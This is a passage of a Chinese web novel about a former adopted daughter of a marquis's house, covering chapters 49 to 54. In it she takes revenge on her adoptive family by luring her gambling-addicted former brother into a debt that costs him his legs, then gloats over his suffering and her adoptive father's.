《侯府赶走假千金?裁到大动脉啦!》 第49章 是时候展现真正的技术了! “喂!桑初晴平时会把自己的食物,分给你吗?” 饶是喻慕文这样的智商,也想不到,桑怀盛会问这种问题! 他还以为又是来找茬的呢! “我不叫喂。” 丢下这一句,他便错开桑怀盛,打算进院子。 晴晴说得对,愚蠢是会出现人传人现象! 桑家兄弟几个,第一蠢是桑怀志,第二就是桑怀盛了。 桑怀盛急匆匆地追着他进入院子,不甘心地道:“我知道你叫喻慕文!我还知道,你是桑初晴的二哥!” “错。”喻慕文不太想跟他说话,但还是得搞清楚一件事:“她叫喻初晴!我是喻初晴的二哥。” 他家妹妹这般美好,桑家配不上她! 桑怀盛根本不关心她姓桑还是姓喻,胡乱说道:“这是重点吗?我问你,她平时是不是也吃得很少,把多出来的食物,分你、或者分给你那个弟弟吃!” 喻慕文不知道他哪根筋搭错了,非要问这种弱智的问题,斜睨了他一眼,道:“不,我们都会把最好的食物,留给她吃。” 说完,进屋、关门。 院子是公共的,号房是喻慕文个人的,桑怀盛就没法进去了。 他站在喻慕文门外,摸着脑袋思考喻慕文的话:分给她?我又不够吃了,怎么分! 想不明白,他又拍门,问:“为什么!” 喻慕文捻佛珠的速度增快,重新拉开房门,对外面那只脑残说道:“因为我们疼爱她,所以想把一切好东西都给她!” 顿了顿,又道:“因为你们南阳侯府这群蠢驴,一直都在消耗她的付出,从未有人为她付出过!” 桑怀盛整个人愣住了。 夜色黑暗,光线薄弱的灯火下,一道极快的影子朝他膝关节打来。 陡然一痛! “啊!”桑怀盛惨叫一声,单膝跪在地上。 他赶忙抱住自己的膝盖:“什么鬼东西攻击了我!” 然而他根本注意不到,在他痛呼的同时,那影子又用最快的速度,回到了喻慕文的手里。 桑怀盛撩起裤管,发现膝盖的位置多了个红点。 很痛,皮肉没破,皮层却在渗血,可见用劲之巧、力道之重! “你这里……”他震惊无比,猛地看向喻慕文:“你这个院子闹鬼了?” 他宁愿相信世上有鬼,都不怀疑是喻慕文打的他! 喻慕文面无表情地捻着手上的佛珠,冷冷地道:“你再不走,那只鬼相中的,就是你的喉咙,立刻送你见鬼!” 桑怀盛强行镇定:“世上哪里有鬼?对,没有鬼!” “哦?”喻慕文挑眉:“你想见见?” 桑怀盛瞪圆了眼睛,心里怕死了,左顾右盼着。 膝盖实在太痛,不敢继续待下去,一瘸一拐地走了。 “砰”的一声,喻慕文把门关上,一声哂笑。 永安县主府。 自从搬过来后,白婉蓉便提议:每隔五日,除了出远门在外头的老大,尽可能所有人都回来一起吃饭,维系感情。 喻初晴很喜欢这个主意。 他们家没有食不言寝不语的习惯,反而是一边吃一边聊点家常闲话,更温馨一些。 这天便又是五日了。 喻慕文回来,简单说了桑怀盛的事。 “哈哈。”喻今歌第一个笑出声,“他以为闹鬼了?” 他提议:“三哥,要不这样……你连续几天夜里都去他房里,装鬼吓他,说不定不出几日,他就吓得屁滚尿流,自己都不敢在国子监待下去了!” 喻慕文瞧了他一眼,没理会他这种幼稚中二言论。 “所以……”喻初晴扫了一眼喻慕文右手上、吃饭的时候变成三圈手串的佛珠:“三哥的佛珠,原来竟然是你的武器?” “凑巧练成的。”喻慕文说得很谦虚。 喻初晴:“……是啊,凑巧。” 她三哥是不是把她当成桑怀盛的智商了? 但她也不追问下去,而是道:“侯府的眼线送来的消息说,桑怀志的伤,快好了。” “毕竟年少,恢复得快。”喻慕文说道:“而且,本朝的庭杖可以算是轻的了,只是对着有肉的地方打。换了前朝,五十庭杖能死人,三十庭杖能残废一生!” 庭杖这种东西,是可以控制的。 可以说一个不小心打中了脊椎,直接把腰椎打断,未尝没可能。 但,好比她爹卖猪肉一样,熟能生巧,说了要一斤就是切一斤,误差不会超过半两。 这执杖的人也一样,想要破皮就能破皮,想要断骨就能断骨! 喻初晴抓住的重点却不是这个,而是:“三哥怎么知道前朝的庭杖是什么样的?” 问题一出,喻惊鸿夫妇都是一愣。 喻尚武还是闷头吃饭,不爱说话。 喻今歌也跟着疑惑地问:“前朝都是百多年前的事了吧?三哥爱看书,是不是看过关于前朝的记载了?” 喻慕文跟平时一样,面容淡然,咽下嘴里的食物,才道:“嗯,国子监藏书颇丰,这几日得两位老师特许不用去课堂听讲,基本都是看藏书阁的书。” “我就说嘛!”喻今歌点头:“姐,三哥特别爱看书,但书太贵了咱能买的不多。以前在慈安寺,他连佛经都读,简直就是求知若渴呀!” 喻初晴心想:难怪先前查喻家,查到的都是很穷。 屠户,家里没人种地,也不至于穷。 但也很难富裕。 一来,好几张嘴吃饭;二来,老大要本钱走商;三吧,这时代读书习武都是很贵的,老二练武、老三读书,还尽可能宠爱桑雪。 仅仅是几个孩子读书习字,开销都不小! 喻慕文把话题拉回桑怀志身上:“我听说,桑怀志找桑怀盛借银子。” “哦?”喻初晴笑了:“我已经命人给桑怀志用了我调配的伤药,他自然好得快。保准他再过几日,就能活蹦乱跳。” 尽管她人已经离开桑家,但留下的人脉却都还在。 从前她待侯府下人都很好,她命木棉去找桑怀志院子里的人提议—— 我们县主虽然不是侯府嫡女了,却还顾念旧情,命我悄悄送来伤药。可不敢让三公子知晓,不然他怀恨在心肯定不会用的。 那下人便悄悄把大夫开的药给换了。 众人不知此节,听到她说送药,不由纷纷一愣。 还真以为是因为桑怀志年轻恢复得快? 原来玄机在这儿呢! 喻慕文眸中藏着笑意,问:“你等不及了?” “嗯。”喻初晴唇角绽开笑容,道:“是时候展现真正的技术了!” 几日后。 西市赌坊。 第50章 赌徒 “哟,三公子来啦!” “听说您挨了庭杖,这年轻就是好,身子骨可真强啊,这么快就恢复啦?” “您今儿个是玩骰子大小呀,还是牌九?” 桑怀志的屁股还是有点疼。 三十杖真不是闹着玩的,他爹还每天趴着呢。 只能说,他身体比别人强壮,好得也贼快了! 自从上次输了一千八百两的事,在京兆府被喻初晴揭穿,南阳侯把他拎回家狠狠教训了一顿后,他院子里所有值钱的东西都被充入公中了,用家徒四壁来形容也不为过,实在弄不到银子。 大半个月过去没得出门,他心痒难耐。 养伤这几日闲得发慌,他的手更痒了,伤还没好就想方设法换银子。 借了一圈,一个铜板都没人借给他。 但他还是来了! “那个……”他试探性问:“小爷今天出门走得急,忘了带银子,放印子钱的大当家今天在吗?我先借一点来转转好运,回头赢了立马还上!” 南阳侯府桑三公子的名声不太好,但—— 开赌场的又能是什么好东西? 赌场最喜欢他这种烂人,简直就是行走的财神爷! “在呢,在呢!”伙计赔着笑,道:“小的马上带您去!” 搁喻初晴还是桑初晴的时候,他们还真不敢放印子给桑怀志。 起初,桑怀志输钱不算多,桑初晴不知道这件事。上次桑怀志输了好大一笔钱,所有亲戚的钱都借过、自己也实在兜不住了,赌场说要砍他一条腿。 他怕极了,回侯府求救,这件事才终于在侯府曝光。 最终,在桑初晴的运作下,这笔钱填上了。 桑初晴亲自拿钱来赌坊还债,找到大当家放话:倘使赌坊再借银子给桑怀志,哪怕只有一两,她也要赌坊即日起关门大吉! 小姑娘放狠话,哪个刀口舔血的会怕? 谁曾想,紧接着她就抛出一叠纸:但凡这些东西送到了京兆府,即便赌坊背后有人,也兜不住! 侯府嫡女人狠话不多,手段那是真硬! 一传开,不仅西市赌坊,其他赌坊也都不敢借钱给桑怀志。可以说,有桑初晴一日,桑怀志就是安全的。 然而!!! 桑初晴被他们赶走了! 上次他们尝试着给桑怀志放了一千八百两,一点事儿没有。 桑初晴成了喻初晴,不再管她曾经的三哥。 那么今天—— 大当家笑着问:“三公子想要借多少银子?” “一千两!” “好,签字画押。” 拿到一千两,桑怀志火速投入赌桌上,瞬间杀红了眼。 未久,他又回到大当家面前:“这次要两千两,人不可能一直走霉运。现在把霉运输掉了,鸿运肯定来了,我铁定能翻本!” 拿到两千两,他又杀上了战场。 然后,再来到大当家面前:“五千两!” 这一次,他还真的赢了,把五千两给还上,还结余一千两。 胜利的喜悦,让他回到侯府的时候,都哼着小曲儿。 回到空荡荡的廊檐下,不由想起被喻初晴卖掉的画眉鸟来,瞬间心情不愉了:“啧,等我赢到一万两,我就再买一只漂亮的凤尾鸟来养!” 第二天,吃完早饭,桑怀志雄赳赳气昂昂赶到了西市赌坊。 倒是不用借钱了,他有一千两本金! 可是,散财童子就是散财童子,一千两几乎是眨了眼的功夫,就全部都做善事了。 他又去找大当家。 大当家笑了:“三公子,想要赚大钱,你总在小场子玩,是玩不出花儿来的。毕竟人的运气总是一时一时的,不会一直好运,也不会一直霉运。你刚刚把霉运输掉了,一会儿就是好运了。趁运气好的时候,干大的才有前途啊!” 桑怀志果断上套:“好,那我借一万两!” 拿到一万两,桑怀志已经不在小场上混了,进了赌坊二楼的中场。 一阵杀红眼,他果然赢了! 三万两! 我滴个娘呀,长这么大,他就没有一次性拥有过这么多银子! 桑怀志顿时感觉自己赌神附体,浑身散发金光! 于是,大当家的又建议:“鸿运当头啊,我看三公子肯定要翻盘,要不三公子去三楼?” 三楼玩的,就高级很多了。 诗情画意的装潢,玩的手法很高级,还有乐伶在弹奏助兴,衣着清凉的舞女在一旁扭着腰肢。 只穿着肚兜和薄纱阔腿裤的美貌荷官,盘腿坐在长桌上,媚眼如丝地摇骰盅,活像个蜘蛛精转世。 每一个赌客左右,都坐着穿着纱衣红肚兜的妖娆美人,一会儿给嘴对嘴喂酒、口对口递葡萄。 当然,赌注也很大。 桑怀志虽然有通房丫头,十五岁就开荤了,但他真的对女色不太感兴趣。 一把推开送过来的葡萄,他把银票往桌上一拍:“我跟,五千两!” 好家伙,输了。 他再跟:“五千两!” 又输了。 赌徒脑子里只有一件事:现在输只是运气不好,只要再给我一次机会就能翻本。 并且,所有的赌徒都认为自己很会算术:我、很、聪、明! 桑怀志尤甚。 他一边大脑“精算”要怎么样下注才能翻本,下多少钱才能赢。 尤其是这两天赢的不少,他已经被胜利冲昏了头脑。 赌神附体,怎么可能不赢呢? 最后一把,赌注全部堆了出去! “开盅!” 桑怀志瞪大眼睛,血液都凉了。 输了。 他已经身无分文。 刚才对他有多殷勤的纱衣美人,此时对他就有多无情:“公子,您没有赌注了,便下楼去吧!” 桑怀志又来到大当家面前:“我要借银子,借我五万两!” “好说。”大当家唇角勾着笑,道:“银子有的是,不过……三公子啊,借钱还钱,感觉不太好玩。你是赌徒,我也是,咱们都喜欢刺激。” 桑怀志不解地问:“你想怎么玩?” 大当家拿出银票放在桌上,缓缓说道:“五万两在这里你拿走,如果你能在今日内赢到五万两回来,你赢的、和这个五万,共计十万两都是你的。” 桑怀志眼眸一亮。 还有这种好事! 然而,大当家的又说:“但,你若是输掉了这五万两,我也不要你还钱,而是按我们的规矩,留下你一双腿!” 第51章 被赶走的假千金回来了! 永安县主府。 喻初晴在书房里,翻看账簿。 身形颀长清瘦的一名书生打扮的青年站在她面前,给她禀报: “第一季的佃租都收上来了;所有铺子的租金也都交齐。” “县主先前资助的学堂,已经开始讲课。城隍庙外面的那群小乞丐,如今都进了学堂。开支都在癸字号账本上。” “济春堂这边,在下私以为,原本的药材进价太贵了。原本商谈得挺好的,却总因为各种各样的原因,要抬高价格。” “县主,倘使咱们真要实施五日一次的义诊,这个开销算起来实在是太大……” 这几年,喻初晴在背后的经营,全都是眼前这位钱大掌柜在打理。 他真实年龄有二十八岁了,看上去却显年轻,刚过二十的样子。 然,与他清秀的气质不一样的是:大掌柜不仅姓钱,名字更有意思——钱利来。 听完钱利来的讲述,喻初晴把账本大概扫了一遍,道:“第一季度的利润,送去给合伙人了吗?” “都送去了。”钱利来应答完毕,又询问:“县主,三年的契约已经到期了,您还打算跟他们续约吗?不续约就不用分利润给他们,日后县主的营收将能翻几倍。” 喻初晴并没有犹豫,直接道:“续上吧,没有这些天使投资人,没有当初他们无条件信任我,真金白银地砸给我起步,哪有我的今天?就凭南阳侯府那仨瓜俩枣的,我还不知道在哪里啃草呢!” 钱利来微笑:“县主是念恩的,自然是有福之人。” 身为大掌柜,自是为她马首是瞻,报完业务便离去了。 恰在此时,木棉进来:“县主,桑三公子出事了!” 喻初晴抬起头来。 她头微微一歪,发髻上的步摇轻轻晃动,一声轻笑,道:“走,给我更衣梳妆,我们看戏去!” 木棉抬眸一看,自家主子的笑容,可真是…… 分外明媚! 心情好着呢,都要更衣梳妆才出门了! 南阳侯府。 从府门外到正厅门口,是一路的血迹,如今府中的下人减少了,所有人都忙前忙后,顾不上清洗地板。 喻初晴穿着一身金丝绣线的夏季薄衫,脚踩祥云藕丝履,顶着初夏的暖阳,从马车上下来。 美丽,高贵,朝气蓬勃。 她身后跟着合欢木棉、以及腾云覆雨四大侍婢,一步步踏上台阶,踩在那些血迹上,跨步进入侯府大门。 与那一日她穿着一身素色里衣、身无分文地被逐出侯府,身份来了个顶级转换! 进门的一瞬,她的脚踩在了门槛上,停留了一会儿。 宛如,将南阳侯府踩在了脚底板上一样! “永安县主到!” 被赶走的假千金桑初晴,当然是回不来的。 但,永安县主喻初晴上门,谁敢阻拦? 更何况如今的侯府——老太太一病不起、南阳侯杖刑伤势未愈、老大为婚姻焦头烂额,老二住翰林院不问世事,老四住国子监躲避一切,真千金在太子府后院长草…… 一个能主事儿的都没有! 侯夫人历来是没主意的,此时更是六神无主,一边掉眼泪一边喃喃自语:“怎么会这样?为什么会这样?” 她的三子腿都断了,她也不知道该怎么办,只知道哭。 一听说喻初晴来了,宛如给她打了一剂强心针! 太好了是初晴,我们有救了! “初晴!”她面露惊喜,连忙拉着嬷嬷的手站起来:“初晴来了?她在哪儿呢?” 喻初晴一进府门,便听到杀猪一般的哀嚎惨叫声: “我好痛!” “母亲,我好痛!” “我的腿!我的腿!” 听说她来了,侯府的下人纷纷让开一条道,夹道迎接。 眼瞧着那看上去比以前尊贵百倍的前嫡女,仪态端庄地一步步走到正厅门口。 一众都朝她行礼:“见过永安县主!” 被赶走的假千金,第一次回来南阳侯府! 侯夫人趔趄地从厅门里跨步出来,许是腿软无力抬不起来,脚背撞上了门槛,往前摔去。 嬷嬷都来不及搀扶。 喻初晴上前一步,伸手扶住她。 但,冲势太猛,侯夫人还是一膝盖着地,跪在了喻初晴面前! 喻初晴没有第一时间将她扶起,而是轻飘飘来了句:“夫人曾养育我十七年,倒也不必行如此大礼。” 声音很平静。 她承诺可以照顾侯夫人的后半生,却没说要怎么赡养—— 留在身边、晨昏定省,三餐关切、四季关怀,是赡养; 扔到庄子上,一日两餐供应,安排两名下人照料,病了请人看诊,这也是赡养! 侯府的下人中,有不少受过大喻初晴恩惠的,听着这话,莫名感觉到一股爽感从脚底板直冲天灵盖! 爽! 县主大人就好像那复仇使者,东山再起、卷土重来。 当初多被侯府厌弃,如今侯府在她面前,却低入尘埃! 但,侯夫人是感知不到这些的。 她宛如揪到了救命稻草,紧紧抓住喻初晴的双手,急切地道:“初晴!初晴你帮帮母亲,现在这是要怎么办!” 她完全没注意到,喻初晴双眸古井无波,冷静到绝情。 只淡淡说了句:“我听说了三公子断腿的事,专程过来。” 过来看笑话的。 侯夫人自是不知道她心中所想。 有初晴在,她就找到了主心骨,心也安定下来了不少。 “初晴,你三哥他……他又去赌坊啦!他在西市赌坊签下契约,拿腿跟人家玩!结果他输掉了,对方真当场砍了他一双腿!” 喻初晴心道:嗯,我知道。 不但知道发生了什么事,还知道怎么发生、为什么发生的! 倘使还是过去的南阳侯府,兴许赌坊大当家还忌惮几分,打断腿差不多了。 如今的南阳侯府,还真怕不了一点! 但她嘴上却道:“哦,我去瞧瞧他。” 她提了提裙摆,抬脚迈步进正厅门槛。 进门后,宽大的裙摆一甩,旋出漂亮的弧度。 桑怀志躺在担架上,是被抬着回来的,被砍掉了双腿,一路鲜血淋漓。 进入厅内,冲鼻的血腥气袭来。 她问:“府医呢?府医怎么说的?” 侯夫人应:“府中的状况你是知道的,哪儿还请得起府医?前阵子我就把府医给辞了,有事才请大夫上门。” 她又开始哭。 以前花大价钱请府医,平日里只有头疼脑热的小病。 结果一辞退掉,接踵而来的各种伤病! 亏大发了! 其实喻初晴知道侯府的府医没了。 被辞退后,那人来找过她,想在县主府做事。 她没有留,而是送济春堂坐诊去了。 一旁的嬷嬷见侯夫人解释不清不楚的,帮着应答:“县主,大夫说是已经给上了止血药了,但血流实在太大,止不住!” 侯夫人又抓住喻初晴的手,道:“初晴,你会医术,你能不能想法子给他先把血给止住呀?再这么流下去,会要了你三哥的命呀!” 第52章 怎么说呢,就是爽! 喻初晴心里:他想要我的命,巧了,我想要不仅仅是他的命! 喻初晴嘴上:“我来试试吧。” 听言,合欢将背在身上的医药箱拿出来,招手让人送来一张小几,打开药箱放在上面。 喻初晴走到担架旁边,伸手。 合欢迅速拿出她惯用的银针,递了过来。 侯夫人顿时好像吃了大补丸,顿时浑身上下都有劲儿了,也不哭了,跟在旁边说道:“初晴、初晴!母亲就知道,还是你最好。你三哥对不住你,你却不计前嫌,母亲感激你一辈子!” 这点音量,在桑怀志的痛苦哀嚎下,显得格外弱。 喻初晴没应她的话,吩咐:“太吵了,塞上他的嘴,来几个人把他按住。” 侯府这些下人,只要不是各院屋里的,都很听她的话。 两名身强体壮的家丁一人一边,死死按住桑怀志的双臂,一个按住他的头,还有两人按住他扭动的腰部! 先前在打扫卫生的丫鬟,顺手将手里的抹布塞进了桑怀志的嘴里! 侯夫人哭得眼睛红肿没注意,其他人…… 咳咳,无人在意。 耳根清静了就好! 喻初晴一根一根地接过银针,一根一根地扎进桑怀志身上。 她的针术止血效果很好,几乎有立竿见影的功效。 但,桑怀志好像更疼了! 他痛苦挣扎,但被五个人按住,动不了一点! 紧接着是清创。 喻初晴命人把桑怀志破破烂烂的外裤脱掉,露出桑怀志一双被整整齐齐砍到膝盖下方的断腿。 “清创要消毒,不然细菌感染,他这断面很容易腐烂。木棉,给他清洗伤口!” 木棉拿着喻初晴命人酿造的58度烈酒,一点儿也不心疼,直接往桑怀志那两条腿的断面上泼! “呜呜呜呜……”桑怀志身体猛地一弹。 酒精的刺激,让伤 处爆痛! 又来了两个家丁帮忙,干脆拉过来八仙桌,把他的双手捆绑在两条桌腿下,狠狠按住。 好不容易熬过了这等酷刑,桑怀志已经昏死过去。 清创完毕,喻初晴又喊:“合欢。” 合欢拿出药粉,不要钱似的给桑怀志敷在伤口上,厚厚的一层。 强烈的痛楚,又让桑怀志醒过来,被堵住的嘴里发出:“呜呜呜呜呜……” 合欢才不管他,均匀地撒好药粉,用纱布给他包扎伤口。 全程,桑怀志痛晕过去几次,又痛醒来几次,浑身的衣裳都已经湿透了,凌乱的头发黏在脸上。 最后,彻底晕过去! 一旁的丫鬟端过来的水盆:“县主,洗洗手吧。” “谢了。” 喻初晴洗干净了手,涂抹上香露,面无表情地说道:“好了,把他抬回房里去吧。” 桑怀志被抬走了,送回他那个穷哈哈的屋里。 侯夫人拉着喻初晴的手,捏着帕子抹眼泪:“初晴,幸亏有你,不然母亲真的不知道该怎么办了!” 喻初晴这才纠正她的说法:“夫人,方才情况紧急我才没有订正你的说法。我有亲生母亲,我已经不是你的女儿了。” 侯夫人一僵,期期艾艾地道:“我知道,可我心里,还是把你当女儿。” “哦,那桑雪呢?”喻初晴淡然问。 侯夫人又被噎住,弱弱地道:“不管怎么说,我们毕竟有十七年的感情。” 喻初晴顺其自然地接话:“因为有这十七年的感情,所以你们在我乔迁大喜之日,组团去我府门外闹事,想要把我亲生父母抓起来、还想把不孝不悌的帽子扣在我头顶上?” 侯夫人窒息。 她该怎么说? 都是事实啊! 倒是一群下人,个个听得心里爽极了! 没错,就是要这样怼! 当初赶走人家的时候有多轻飘飘的,跑去人家家门口闹事有多畅快,现在回旋镖扎回来,就有多痛! “我是没办法。”侯夫人叹息,又开始哭了:“你是最清楚的,在你爹面前,他要我怎么做我就只能怎么做!” 喻初晴唇角微不可见一勾:“那他要你杀了我,你也照做?” 她不是不讲理的人。 认回亲生女儿天经地义,她不会因此怀恨在心。 但—— 十七年的母女情分、五年的帮扶,竟然丝毫不念旧情,将她赶走! 这,又是另一回事了! 在某些特定时候,不作为,其实就是作恶。 俗话说为母则刚,这位侯夫人不曾为任何一个子女刚过! 侯夫人:“……” 这回,是彻底说不出来了。 喻初晴没有再说别的,道:“我再去看看桑怀志,叮嘱一下他院里的下人,要如何照看他的伤。” 她便去了桑怀志屋里。 桑怀志又醒了。 屋里没有其他人,只有一个小厮,正在给他拿棉帕子塞嘴:“公子,痛你就咬住这帕子,你一定要坚强啊!” 喻初晴独自一人走进屋里。 看见她,那小厮连忙站起:“小姐……县主!” “嗯。”喻初晴挥了挥手:“你出去,我有几句话要跟他说。” 小厮出去了,走之前还给她搬来了一张圆凳:“县主,您请坐!” 喻初晴没坐,站在床榻前,用欣赏杰作的目光,看着床上的桑怀志。 怎么说呢,就是爽! 怕他乱动,家丁们将他的双手绑在床柱上,腰部也被捆着,绑在了床上。 夏天炎热,伤口不宜捂着,下半身没盖被子,露出了两条包扎了纱布、秃秃的腿。 纱布上还在渗血,看上去触目惊心。 桑怀志痛得奄奄一息,却无法睡着。 她的目光扫过断腿,唇角勾起一抹笑意:“桑怀志,这地狱级别的滋味,挺不错吧?” 桑怀志说不出话来,瞪着眼睛看着她。 仅仅从他的眼神,就可以看得出来:他骂得很脏! 好在,帕子捂住了他的嘴,一句难听话都说不出口。 喻初晴居高临下地看着他,宛如在看一只垂死挣扎的蝼蚁。 她缓缓说道:“以前我处处为你着想,为了帮你还上赌债绞尽脑汁,还想帮你戒赌瘾。你却恨毒了我,无时无刻都想要我死,对吧?” 不需要桑怀志给答案,她本就不是为了与他对谈来的。 桑怀志瞪大眼睛,仿佛在说:对,我就是要你死!你怎么不去死! 第53章 十倍奉还,才最爽! 喻初晴微微一笑,继续道:“你想要我死,在你爹说要赶走我时,连桑怀民都还犹豫过一下,桑怀盛也迟疑了。桑怀安就不用说了,他就不主张赶走我,而是想把我送乡下庄子去,还冠着桑这个姓氏,让我自生自灭!” “但你,是第一个赞成的,也是最积极的!” “桑怀志,你不但支持赶走我,你还提议赶尽杀绝。只是,当时你爹没同意。” “后面,把桑雪接回来那天,你们一致同意赶走我,你再一次提出要杀我灭口!南阳侯他终于同意了,派出了死士来杀我。” 说到这里,她抿唇一笑。 她今天穿得很漂亮,华贵、高傲,笑起来更是楚楚动人。 但,落在桑怀志的眼中,却宛如开在了黄泉路上的彼岸花,妖娆美丽,却瘆人。 只有走在黄泉路上,才能看到这样美丽的花朵! 喻初晴一挥袍袖,旋身坐在了圆凳上,又道:“你有多歹毒,处处想置我于死地,你我心知肚明,也就不提了。” 她垂眸,整理着堆叠在手腕上的宽大袖子,幽幽说道:“其实,在离开侯府之前,我没想弄死你的。离开侯府那一天,我得知了是你提议杀我灭口的,我才想你死。” 她说那么多,桑怀志早就气得不行,此时情绪更激动了。 被塞住的嘴,发出“呜呜呜呜”的声音。 喻初晴好似听不见,笑道:“但后来,我又觉得,要你死其实没什么意思。” 她夸张地叹了一口气,“对南阳侯府这种、马上就要日落西山的家族来说,让你失去了眼前的富贵,还不如死了干净!” “那么,我为什么要送你一个干净,让你死了一了百了呢?” 她抬起头来,与桑怀志对上视线,抿唇一笑,道:“你不是喜欢赌博吗?消耗了你母亲的嫁妆,都要去赌!” “为了赌瘾,恨不得为你戒赌的我去死!” “那我就给你量身定做,挖一个这么坑。膨胀你的好胜心,让你觉得自己赌神附体、无所不能,不知不觉给你下套!” “在你最得意的时候,收住绳索,一拉!” 桑怀志终于明白自己遭遇这种惨事是因为什么。 他的眼睛瞪得更大了,都能看得瞳仁旁边的一圈眼白。 如果他能开口,肯定是在骂:你这个贱人,原来是你设局害我! 但他不能。 喻初晴没听到那些污秽骂词,眸光瞟向桑怀志的断腿,道:“没有错,是我让西市赌坊的大掌柜,按照我的计划,一步步将你诱进坑里来杀!” “死是解脱,太轻松了,你烂命一条不值钱。” “所以,我要你一双腿。” “我要你,在未来的每一日,都活在颓丧、痛苦、暴怒之中……” “桑怀志,杀人诛心才是你的归宿、是你忘恩负义、背刺我、杀我,而必须付出的代价!” 话到这里,也就结束了。 她站起来,踏步上前,拿掉了桑怀志嘴里的帕子。 桑怀志的骂声立即涌出来:“你这个贱人!我要告发你,说你把我害成这样!” “哦,”喻初晴将那块帕子往他脸上一丢,轻松自在地道:“随意。” “贱人……” 她转身,走出桑怀志的院子,将那些辱骂都抛在了身后。 侯夫人在院子外等着呢。 喻初晴到来后,她虽然眼睛是哭肿的,但精神已经安定了不少。 她好像回到了当初没赶走养女的那几年时光,有这个女儿在,她这个母亲万事不愁。 有事没事都是“初晴”、“初晴”。 只要有初晴在,天塌下来都不叫事儿! 可惜,喻初晴一句话打破了她的美梦:“夫人,我要走了。” 侯夫人一怔:“走,去哪儿?” “我既不是南阳侯府嫡女了。”喻初晴微嘲一笑:“自然是回到我爹娘那里去、回到真心爱我的人那里去。” 侯夫人原本轻松的面容,顿时又皱成了苦瓜! 她想说点什么挽留,但又忽然发现,自己没有立场! 喻初晴没有理会她怅然失落的情绪,微微欠首,便领着合欢等人离开了。 侯夫人忙不迭道:“初晴,我送你。” 喻初晴阻止了她,道:“不用送,夫人先进去看看你儿子吧。他好像对我有误解,情绪很激动。如此闹腾,不利于养伤。” 侯夫人愣了下,听到屋里的怒骂声,咬咬牙转身进了屋子。 “怀志!” 看见她,桑怀志好像想要吃奶的娃儿看到了娘:“母亲!不要放那个贱人走!我变成这样,都是那死贱人害的!她亲口承认,说是她设局让我去赌,让赌坊的人把我的双腿砍断的!” “胡说!”侯夫人本来很心疼儿子落到这样的境地,听到这话不由一斥,驳道:“人家在县主府好好的,听说你出了事,带着药箱急匆匆赶来。人家都是县主了,进门后却不怕脏污,二话不说半跪在地上,给你施针止血、给你疗伤!你怎么能污蔑她,你的良心都喂了狗了吗!” 桑怀志急得满头大汗:“我是说真的!她刚才自己说的,不信你去问她!” “我不问!”侯夫人哼了一声,道:“你还好意思说!家里都这样了,你还敢去赌、还赌那么大!我听说你还上了三楼、挥金如土!桑怀志,我怎么生出你这样的混球!念书不行、练武偷懒,一无是处,还是个烂赌鬼!” 说到这里,她又开始哭了:“我怎么这样命苦,嫁给了你父亲那种男人,生出你这种儿子!” “初晴,初晴啊,她怎么就不是我亲生女儿呢?” “我多么希望她是我亲生女儿,情愿没有你这种儿子……” 不管桑怀志说什么,侯夫人都不相信,一口咬定喻初晴多么好心前来给他治伤,骂他就是个忘恩负义的白眼狼。 桑怀志一开始出离愤怒。 然后,失望。 最后,绝望。 他什么也不说了。 腿上的疼痛已经不算什么,心里的痛,以及对未来的绝望,宛如海啸一般席卷了他! 为什么? 桑初晴那个贱人离开侯府后,要风得风要雨得雨。 而他,竟然一无所有,连亲生母亲都骂他一无是处、狼心狗肺! 甚至要一辈子都无法走路! 难道,他就只能拖着断腿过一生吗? 他才十九啊! 喻初晴那个贱人,好狠的心呐! 杀人不过头点地,她却要摧毁他的情志! 他如何绝望,喻初晴能想得到。 这就是她要的结果——要一个人的命有什么可解恨的? 十倍奉还,才最爽! 出了桑怀志这里后,她并没有立刻离去,而是去南阳侯的院子。 第54章 不开心的说出来让我开心开心 走在侯府内的花径上。 赶走假千金,裁员裁到大动脉之后,为了开源节流,侯府的下人也被裁了不少。 花木的修剪、护理,都比不上以前了。 这个季节正是芍药怒放的时候,以前喻初晴很爱的那一个芍药园,稀稀落落都见不到几朵开得好的花。 合欢低声说道:“听到三公子的惨叫,我就开心!” 木棉也道:“可不么?他那无能怒骂充满了绝望,美妙又动听!” 她们俩以前在侯府,没少被桑怀志奚落、羞辱。 合欢还挨过打。 先前给桑怀志治伤,喻初晴是有止痛药的,但她不拿出来给桑怀志吃。 泼烈酒也是故意的。 她们家主子研制了一种药,清创虽然也会痛,但是能最大限度减缓疼痛。 但木棉不用,非要用刺激性很强的烈酒。 敷药粉,合欢选择了先前主子让她备好的——能止血,却很刺激,疼痛感会超级加倍。 疼不死他! “行了。”喻初晴唇角勾了一下:“在心里暗爽就好。” 俩人都应:“是!” 喻初晴抬脚,迈进了她喊了五年的父亲——南阳侯的屋子。 她有正当理由,南阳侯的人也拦不住。 一路走到南阳侯面前,她开门见山地道:“虽然我不是你女儿了,不过来都来了,还是过来探望一下。” 南阳侯是醒着的。 养了这么久的伤,还没痊愈,倒是不用趴在床榻,而是可以侧躺在小榻上。 方才听说桑怀志断腿的事,他心情已经很阴郁。 此时再见到喻初晴,更是气不打一处来:“你来做甚!” “我还能来做甚?”喻初晴唇角挑起一抹讥诮的笑意:“当然是来看看你有多惨呀!” 南阳侯大怒:“你这个小贱蹄子!” 喻初晴并不恼怒,反而很是开心地道:“看起来,南阳侯好像心情不怎么美妙。你有什么不开心的,说出来让我开心开心呀!” “你!”南阳侯想要下地,去给这个逆女狠狠一耳刮子! 但,一动弹,屁股的疼痛袭来,瞬间表情皲裂,整个人都不好了。 喻初晴失笑:“很疼吧?” 她抬手,卷起左手的袖子,露出了一道刀疤。 “疼啊,都是你应得的。”她漫不经心地说着:“但,这仅仅是一个开始。” 正是那日被刺杀留下的。 她不是没有祛疤膏,纯属于喜欢留下勋章,见一次就记起来一次——是什么人伤的她! 她,念恩! 所有对她好过的,她都会记在心上,永志不忘。 但,她也记仇! 能当场报仇的,她会直接打回去。 若当时境况不允许,就一笔一笔地记在小黑本上,来日一点一滴都要送回去! 南阳侯见到她露出的伤疤,不由一怔。 想了好一会儿,记起来了:他派出杀她的死士回来禀报说,她身边有高手相护,只伤了她的小臂! 所以,这是那一道伤? 他震惊无比地看着她,“你从前不是这样的,你变了一个人!” 以前的桑初晴,温和谦恭。 眼前的喻初晴,锋芒毕露,气势凌厉! “嗯。”喻初晴轻轻点头,对上南阳侯又惊又怒的眼神,微微一笑:“你要我的命,我也想夺走你的一切。” 南阳侯本就看不起女人,听她说这话不由哼了一声,轻蔑地道:“你凭什么夺走我的一切?就凭你跟太子那点交情?怎么,你爬上太子的床,他都没给你名分?” 这话就很难听了,合欢和木棉的眼里都是愤怒。 